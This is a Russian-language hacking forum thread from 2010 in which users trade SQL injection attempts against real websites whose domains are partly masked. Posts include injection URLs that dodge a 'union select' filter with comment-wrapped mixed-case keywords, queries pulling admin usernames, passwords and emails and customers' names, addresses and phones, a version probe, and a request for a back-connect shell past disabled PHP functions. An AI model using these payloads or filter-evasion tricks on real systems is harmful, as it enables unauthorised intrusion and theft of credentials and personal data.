Старый 03.11.2010, 20:29   #531
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

http://www.***.org/programmer.php?id=47+and+0x51=0x51--
собственно жёсткая фильтрация, после нескольких попыток обхода для использования "union select ..." или хотябы раскрутки как blind, меня вообще блокнули по ip, вопрос: неужели ЭТО (хз, что это, но это круто, если бы ещё вывод ошибок отключили, был бы вообще айс) никак нельзя обойти ?
---
upd: фильтруется "union select", "and 1=1" и др..
=============
РЕШЕНО, МЕШАЛ БАН ПО IP

Последний раз редактировалось Twost; 16.05.2013 в 09:01..
aka_zver вне форума   Ответить с цитированием
Старый 03.11.2010, 20:38   #532
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

PR-5 нахалявку? Это врядли. Фильтрация жестокая, ага

Цитата:
upd: фильтруется "union select
хуй там, select просто тоже не проходит, возможно также не проходит from

Последний раз редактировалось Pashkela; 03.11.2010 в 20:44..
Pashkela вне форума   Ответить с цитированием
Старый 03.11.2010, 20:39   #533
Walt Disney
 
Аватар для Walt Disney
 
Регистрация: 26.08.2010
Сообщений: 14
Репутация: 0
По умолчанию

на мои вопросы хоть кто нибудь, когда нибудь поможет ответить?
__________________
Walt Disney represents :hi:
Walt Disney вне форума   Ответить с цитированием
Старый 03.11.2010, 20:40   #534
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

2 Walt Disney:

ты сначала русский езык выучи, а потом пытайся задавать вопросы на серьезные темы - нихуя непонятно, что ты там понаписал, честно

Когда речь идет о скуле и нет ссылки - нет и ответов. Догадки - это к медиумам

Последний раз редактировалось Pashkela; 03.11.2010 в 20:43..
Pashkela вне форума   Ответить с цитированием
Старый 03.11.2010, 20:40   #535
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
PR-5 нахалявку? Это врядли. Фильтрация жестокая, ага
да дело даже не в пр5, а в мысли о том, "чё делать, если это встретится снова ?"

--------
Цитата:
Сообщение от Walt Disney
на мои вопросы хоть кто нибудь, когда нибудь поможет ответить?
у group_concat ограничение в 1024 символа =\
версия то хоть какая ?

--------
Цитата:
Сообщение от Pashkela
хуй там, select просто тоже не проходит, возможно также не проходит from
http://www.***.org/programmer.php?id=47+and+select+0=select+0--
и
http://www.***.org/programmer.php?id=47+and+union+select+0=union+sele ct+0--
фильтр именно на сочетание юниона и селекта, как и тут, вот тока ещё банят =(

Последний раз редактировалось Twost; 16.05.2013 в 09:02..
aka_zver вне форума   Ответить с цитированием
Старый 03.11.2010, 21:05   #536
pinch
 
Регистрация: 02.11.2010
Сообщений: 20
Репутация: 2
По умолчанию

http://www.***.org/programmer.php?id=47+and+substring(version(),1,1)= 5--

Последний раз редактировалось Twost; 16.05.2013 в 09:02..
pinch вне форума   Ответить с цитированием
Старый 05.11.2010, 14:50   #537
525
 
Регистрация: 06.07.2010
Сообщений: 34
Репутация: 0
По умолчанию

disable_functions:system,exec,passthru,pcntl_fork, pcntl_exec,shell_exec,popen,proc_open,proc_close
5.2.12 Safe mode: OFF

как зделать бекконет ? виполнить команду...? етк ...
525 вне форума   Ответить с цитированием
Старый 05.11.2010, 15:59   #538
Walt Disney
 
Аватар для Walt Disney
 
Регистрация: 26.08.2010
Сообщений: 14
Репутация: 0
По умолчанию

Pashkela не ну гуру это похвально конечно, но хули блять с оскорблениями тут начал
я русский язык с рождения знаю(разве что грамматику), а кто говорит учи русский тот вероятно сам нации другой
скулю не вылаживаю т.к сайт представляет для меня ценную информацию
aka_zver я и без тебя знаю что group_concat ограничение в 1024
версия пятая.
вопрос совершенно в другом
__________________
Walt Disney represents :hi:
Walt Disney вне форума   Ответить с цитированием
Старый 05.11.2010, 16:15   #539
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

Walt Disney Вы вместо того что-бы писать истинно русские матерные слова, попробуйте читать.
https://rdot.org/forum/showthread.php?t=60
Там правда без мата, но тоже по русски, и есть примеры вывода через group_concat.

И кстати
Цитата:
в таблице user работает только group_concat
Так не бывает
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 05.11.2010, 16:56   #540
Walt Disney
 
Аватар для Walt Disney
 
Регистрация: 26.08.2010
Сообщений: 14
Репутация: 0
По умолчанию

Jokester дык зачем мне вывод через group_concat им всё не вывидешь же
ладно я приведу примеры на линке
id=-99+/*!UnIoN+SeLeCt*/+1,2,3,CoNcAT(uname,0x3a,passwd,0x3a,email),5,6,7, 8,9,10,11,12,13,14,15,16,17,18+from+admin-- выводит все данные
id=-99+/*!UnIoN+SeLeCt*/+1,2,3,CoNcAT(uname,0x3a,passwd,0x3a,email),5,6,7, 8,9,10,11,12,13,14,15,16,17,18+from+admin+limit+1, 2-- выводит все данные
id=-99+/*!UnIoN+SeLeCt*/+1,2,3,GrOuP_CoNcAT(name,0x3a,home,0x3a,tel),5,6,7 ,8,9,10,11,12,13,14,15,16,17,18+from+order-- всё работает (выводит с ограничемнием в в 1024
id=-99+/*!UnIoN+SeLeCt*/+1,2,3,CoNcAT(name,0x3a,home,0x3a,tel),5,6,7,8,9,1 0,11,12,13,14,15,16,17,18+from+order-- не работат запрос

id=-99+/*!UnIoN+SeLeCt*/+1,2,3,(name,0x3a,home,0x3a,tel),5,6,7,8,9,10,11,1 2,13,14,15,16,17,18+from+order-- не работает запрос

id=-99+/*!UnIoN+SeLeCt*/+1,2,3,CoNcAT(name,0x3a,home,0x3a,tel),5,6,7,8,9,1 0,11,12,13,14,15,16,17,18+from+order+limit+1,1-- не работат

теперь как же вывести без group_concat, а точнее сдампить данные
__________________
Walt Disney represents :hi:
Walt Disney вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot